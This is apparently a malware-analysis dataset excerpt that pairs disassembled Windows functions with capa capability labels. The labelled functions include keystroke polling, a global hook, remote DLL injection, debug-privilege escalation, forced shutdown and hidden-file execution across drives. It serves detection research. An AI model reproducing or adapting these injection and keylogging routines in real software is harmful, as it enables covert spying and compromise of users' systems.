joyce8/EMBER2024-capa huggingface dataset:
Function at 0x454e2c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x454e64]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x454e45
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x454e54
or bl, 4
test esi, 0x20000000
je 0x454e5f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x45b50c
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x45b51e
add esp, 0xfffffff0
call fcn.00403d28
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041ae64
mov eax, dword [0x488ca4]
mov dword [eax + 4], ebx
mov dword [eax], 0x45b8b0
mov eax, dword [0x488cb0]
mov dword [eax + 4], ebx
mov dword [eax], 0x45b8bc
mov eax, ebx
call fcn.0045b8c8
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x4130b0]
call fcn.004039d4
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x4130b0]
call fcn.004039d4
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x4130b0]
call fcn.004039d4
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x4130b0]
call fcn.004039d4
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x4130b0]
call fcn.004039d4
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x457ce4
push eax
push 0
push 0
mov eax, dword [0x488e70]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41c8e0]
call fcn.0041e054
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41c8e0]
call fcn.0041e054
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41c8e0]
call fcn.0041e054
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0045bce8
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45bbc4
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45bbc4
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45bbc4
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45b65b
call fcn.00403d80
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x45b9a8
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45bb53
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x45bb34
mov dl, 1
mov eax, dword [0x4134cc]
call fcn.004039d4
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404754
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45bb23
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0044947c
test al, al
je 0x45bb16
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x45bb64
lea eax, [ebp - 0x254]
call fcn.00409d60
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45bb16
xor eax, eax
push ebp
push 0x45bb0f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x45bb9c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x45baf8
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004049c4
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45baf8
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004049c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45bb16
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x45ba19
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00417054
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45bb5a
lea eax, [ebp - 0x260]
call fcn.00404754
ret

Function at 0x45c488
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x48abdc]
cmp byte [eax + 0xa5], 0
jne 0x45c4f9
cmp dword [0x48abf4], 0
jne 0x45c4ba
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x45c444
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x48abf4], eax
cmp dword [0x48abf0], 0
jne 0x45c4d5
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x48abf0], eax
cmp dword [0x48abf8], 0
jne 0x45c4f9
push esp
push 0
push 0
push 0x45c3e8
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x48abf8], eax
pop edx
ret
Function at 0x45c5f0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45c607
add esp, 0xfffffff0
call fcn.00403d28
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041ae64
mov eax, dword [0x488e5c]
cmp word [eax + 2], 0
jne 0x45c62f
mov eax, dword [0x488e5c]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045dd58
mov eax, dword [0x488f30]
cmp word [eax + 2], 0
jne 0x45c649
mov eax, dword [0x488f30]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045df50
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4130b0]
call fcn.004039d4
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4130b0]
call fcn.004039d4
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41d3c0]
call fcn.004247fc
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x45c7d0
mov eax, dword [0x488d3c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00424bcc
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45e4f0
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x488d3c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040da40
test eax, eax
je 0x45c73e
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00409740
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040da68
test eax, eax
je 0x45c752
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004049c4
mov eax, dword [0x488bac]
cmp byte [eax], 0
jne 0x45c786
mov eax, ebx
call fcn.0045c8f8
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045e6cc
mov eax, ebx
call fcn.0045f090
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45c7c6
call fcn.00403d80
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45cb78
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x48abdc]
cmp dword [eax + 0x30], 0
je 0x45cc22
cmp dword [ebx + 0x94], 0
jne 0x45cc1c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45cb08
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45cc1c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45cbe2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45cc1c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00415418
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45cbf1
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45d784
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45d7b9
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404844
jmp 0x45d7c6
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004047a8
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45e8a8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45e8e9
mov eax, esi
call fcn.00444a00
test al, al
je 0x45e8e9
mov eax, dword [ebx + 0x84]
call fcn.004446fc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45e8e9
push 0
mov eax, dword [ebx + 0x84]
call fcn.004446fc
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x45f388
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45f42c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404a14
mov edx, eax
lea eax, [ebp - 0xc]
call fcn.00404da0
mov eax, dword [ebp - 4]
call fcn.00404a14
test al, al
jbe 0x45f40b
mov byte [ebp - 0xd], al
mov bl, 1
lea eax, [ebp - 0xc]
call fcn.00404c6c
mov edi, ebx
and edi, 0xff
mov edx, dword [ebp - 4]
mov dl, byte [edx + edi - 1]
movzx ecx, si
shr ecx, 8
xor dl, cl
mov byte [eax + edi - 1], dl
mov eax, dword [ebp - 4]
movzx eax, byte [eax + edi - 1]
add si, ax
add si, 0x32
add si, 0x32
inc ebx
dec byte [ebp - 0xd]
jne 0x45f3cf
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
call fcn.004047a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45f433
lea eax, [ebp - 0xc]
call fcn.00404754
ret
Function at 0x45f974
Capabilities:
Create process on windows
Get disk information
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x45fb0b
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0x43
lea eax, [ebp - 0xc]
mov dl, byte [ebp - 1]
call fcn.0040493c
lea eax, [ebp - 0xc]
mov edx, 0x45fb24
call fcn.00404a1c
mov eax, dword [ebp - 0xc]
call fcn.00404c14
push eax
call sub.kernel32.dll_GetDriveTypeA
sub eax, 2
jne 0x45fadb
push 0x45fb30
lea eax, [ebp - 0x10]
mov dl, byte [ebp - 1]
call fcn.0040493c
push dword [ebp - 0x10]
push 0x45fb44
push 0x45fb50
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404ad4
xor eax, eax
push ebp
push 0x45fa1e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 8]
call fcn.00404c14
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x45fa32
push 0x3e8
call sub.kernel32.dll_Sleep_1
lea eax, [ebp - 0x14]
mov dl, byte [ebp - 1]
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x18]
call fcn.00402fa0
mov edx, 0x45fb7c
lea eax, [ebp - 0x18]
mov cl, 2
call fcn.00402f70
lea edx, [ebp - 0x18]
lea eax, [ebp - 0x28]
call fcn.00402fa0
mov edx, 0x45fb80
lea eax, [ebp - 0x28]
mov cl, 0xe
call fcn.00402f70
lea edx, [ebp - 0x28]
lea eax, [ebp - 8]
call fcn.004049b8
push 2
mov eax, dword [ebp - 8]
call fcn.00404c14
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0x45fb30
lea eax, [ebp - 0x2c]
mov dl, byte [ebp - 1]
call fcn.0040493c
push dword [ebp - 0x2c]
push 0x45fb44
push 0x45fb98
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404ad4
push 0
mov eax, dword [ebp - 8]
call fcn.00404c14
push eax
call sub.kernel32.dll_WinExec
mov eax, 0x45fbbc
call fcn.00429024
inc byte [ebp - 1]
cmp byte [ebp - 1], 0x5b
jne 0x45f99d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45fb12
lea eax, [ebp - 0x2c]
call fcn.00404754
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00404778
ret

Function at 0x484308
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffe4
mov byte [esp], al
xor ebx, ebx
lea eax, [esp + 4]
push eax
push 0x20
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x48438a
mov dword [esp + 0xc], 1
lea eax, [esp + 0x10]
push eax
push 0x484394
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
cmp byte [esp], 0
je 0x484350
mov dword [esp + 0x18], 2
jmp 0x484356
xor eax, eax
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push 0
push 0x10
lea eax, [esp + 0x18]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
sete bl
mov eax, dword [esp + 4]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, ebx
add esp, 0x1c
pop ebx
ret
Function at 0x4843a8
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, ecx
mov esi, edx
mov dword [esp], eax
xor eax, eax
mov dword [esp + 4], eax
mov al, 1
call fcn.00484308
mov eax, esi
call fcn.00404a14
add eax, eax
inc eax
call fcn.0040270c
mov ebx, eax
mov eax, esi
call fcn.00404a14
mov ecx, eax
add ecx, ecx
inc ecx
mov edx, ebx
mov eax, esi
call fcn.004057f0
test edi, edi
jbe 0x4843f3
mov dword [esp + 8], edi
jmp 0x484401
lea ecx, [esp + 8]
xor edx, edx
mov eax, dword [esp]
call fcn.004841d0
mov eax, dword [esp + 8]
push eax
push 0
push 0x2a
call sub.kernel32.dll_OpenProcess
mov esi, eax
push ebx
call sub.kernel32.dll_lstrlenW
inc eax
mov edi, eax
add edi, edi
push 4
push 0x1000
push edi
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov ebp, eax
xor eax, eax
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
push edi
push ebx
push ebp
push esi
call sub.kernel32.dll_WriteProcessMemory
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x48447e
push 0x484494
push 0x4844a4
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
xor edx, edx
mov dword [esp + 0xc], edx
lea edx, [esp + 0xc]
push edx
push 0
push ebp
push eax
push 0
push 0
push esi
call sub.kernel32.dll_CreateRemoteThread
mov dword [esp + 4], eax
mov eax, ebx
call fcn.0040272c
mov eax, dword [esp + 4]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4849b8
Capabilities:
Shutdown system

Disassembly:
add esp, 0xffffffe8
lea eax, [esp + 4]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
lea eax, [esp + 0xc]
push eax
push 0x484a14
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
push esp
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x18]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
push 0
push 2
call sub.user32.dll_ExitWindowsEx
add esp, 0x18
ret
Function at 0x484a28
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x484a30
push ecx
push ebx
push esi
push edi
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x484c02
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.kernel32.dll_GetLogicalDrives
mov dword [ebp - 4], eax
mov eax, ebx
call fcn.00404754
xor ebx, ebx
mov ecx, ebx
mov eax, 1
shl eax, cl
and eax, dword [ebp - 4]
je 0x484bd5
lea eax, [ebp - 0xc]
mov edx, ebx
add dl, 0x41
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x10]
call fcn.00402fa0
mov edx, 0x484c10
lea eax, [ebp - 0x10]
mov cl, 2
call fcn.00402f70
lea edx, [ebp - 0x10]
lea eax, [ebp - 8]
call fcn.004049b8
mov eax, dword [ebp - 8]
call fcn.00404c14
mov esi, eax
push esi
call sub.kernel32.dll_GetDriveTypeA
test eax, eax
jne 0x484acb
mov eax, dword [edi + 0x3ec]
mov eax, dword [eax + 0x218]
mov edx, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push esi
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 1
jne 0x484aea
mov eax, dword [edi + 0x3ec]
mov eax, dword [eax + 0x218]
mov edx, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push esi
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 2
jne 0x484b19
lea eax, [ebp - 0x14]
mov ecx, 0x484c1c
mov edx, dword [ebp - 8]
call fcn.00404a60
mov edx, dword [ebp - 0x14]
mov eax, dword [edi + 0x3ec]
mov eax, dword [eax + 0x218]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push esi
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 3
jne 0x484b48
lea eax, [ebp - 0x18]
mov ecx, 0x484c2c
mov edx, dword [ebp - 8]
call fcn.00404a60
mov edx, dword [ebp - 0x18]
mov eax, dword [edi + 0x3ec]
mov eax, dword [eax + 0x218]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push esi
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 4
jne 0x484b77
lea eax, [ebp - 0x1c]
mov ecx, 0x484c40
mov edx, dword [ebp - 8]
call fcn.00404a60
mov edx, dword [ebp - 0x1c]
mov eax, dword [edi + 0x3ec]
mov eax, dword [eax + 0x218]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push esi
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 5
jne 0x484ba6
lea eax, [ebp - 0x20]
mov ecx, 0x484c54
mov edx, dword [ebp - 8]
call fcn.00404a60
mov edx, dword [ebp - 0x20]
mov eax, dword [edi + 0x3ec]
mov eax, dword [eax + 0x218]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push esi
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 6
jne 0x484bd5
lea eax, [ebp - 0x24]
mov ecx, 0x484c68
mov edx, dword [ebp - 8]
call fcn.00404a60
mov edx, dword [ebp - 0x24]
mov eax, dword [edi + 0x3ec]
mov eax, dword [eax + 0x218]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
cmp ebx, 0x1a
jne 0x484a5e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x484c09
lea eax, [ebp - 0x24]
mov edx, 5
call fcn.00404778
lea eax, [ebp - 8]
call fcn.00404754
ret
Function at 0x404340
Capabilities:
Terminate process

Disassembly:
push ebx
push edi
mov edi, dword [esp + 0xc]
test edi, edi
jne 0x40434f
mov edi, 1
push edi
call fcn.00413d4a
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4043a3
push esi
call fcn.00413d38
mov esi, eax
call fcn.00409e90
mov ecx, dword [esi]
mov dword [eax], ecx
mov eax, dword [esp + 0x14]
mov esi, eax
and esi, 8
je 0x404386
mov edx, dword [fcn.0040b2d0]
mov dword [fcn.0040b2d0], edx
test al, 0x18
je 0x404397
push edi
push 0x24
push 5
call fcn.00406d70
add esp, 0xc
test esi, esi
pop esi
je 0x4043be
push 1
call fcn.00413391
test byte [esp + 0x10], 0x20
je 0x4043be
mov ecx, edi
mov edx, ecx
shr ecx, 2
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
pop edi
mov eax, ebx
pop ebx
ret

Function at 0x409980
Capabilities:
Read file on windows
Receive data
Receive data on socket

Disassembly:
mov eax, dword [esp + 4]
cmp dword [eax + 0x30], 3
push 0
jne 0x4099b2
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
push edx
mov edx, dword [eax + 4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4099ad
or eax, 0xffffffff
ret
mov eax, dword [esp + 0xc]
ret
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov eax, dword [eax]
push ecx
push edx
push eax
call sub.WSOCK32.dll_recv
ret

Function at 0x409dd0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push 0x446de0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x446d10]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
jne 0x409e41
push 0x3c
push 1
call fcn.004151e6
mov esi, eax
add esp, 8
test esi, esi
jne 0x409e0d
push 0x446de0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop esi
ret
mov ecx, dword [0x446d10]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, dword [0x44693c]
inc eax
lea edx, [esi + 0xc]
mov dword [0x44693c], eax
push edx
mov dword [esi + 0x30], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
add esi, 4
push esi
call fcn.0040bbe0
add esp, 8
push 0x446de0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop esi
ret
Function at 0x417495
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x438258
cmp edx, dword [eax]
je 0x4174b7
add eax, 8
inc ecx
cmp eax, 0x4382e8
jl 0x4174a8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x438258]
jne 0x4175e5
mov eax, dword [0x4469ac]
cmp eax, 1
je 0x4175bf
test eax, eax
jne 0x4174e8
cmp dword [0x437a7c], 1
je 0x4175bf
cmp edx, 0xfc
je 0x4175e5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x41751f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00419a20
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00415cd0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x417562
lea eax, [ebp - 0x1a4]
push eax
call fcn.00415cd0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x421364
push edi
call fcn.004198a0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00419a20
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00419a30
lea eax, [ebp - 0xa0]
push 0x42534c
push eax
call fcn.00419a30
push dword [esi + 0x43825c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00419a30
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0041c0fd
add esp, 0x2c
pop edi
jmp 0x4175e5
lea eax, [ebp + 8]
lea esi, [esi + 0x43825c]
push 0
push eax
push dword [esi]
call fcn.00415cd0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret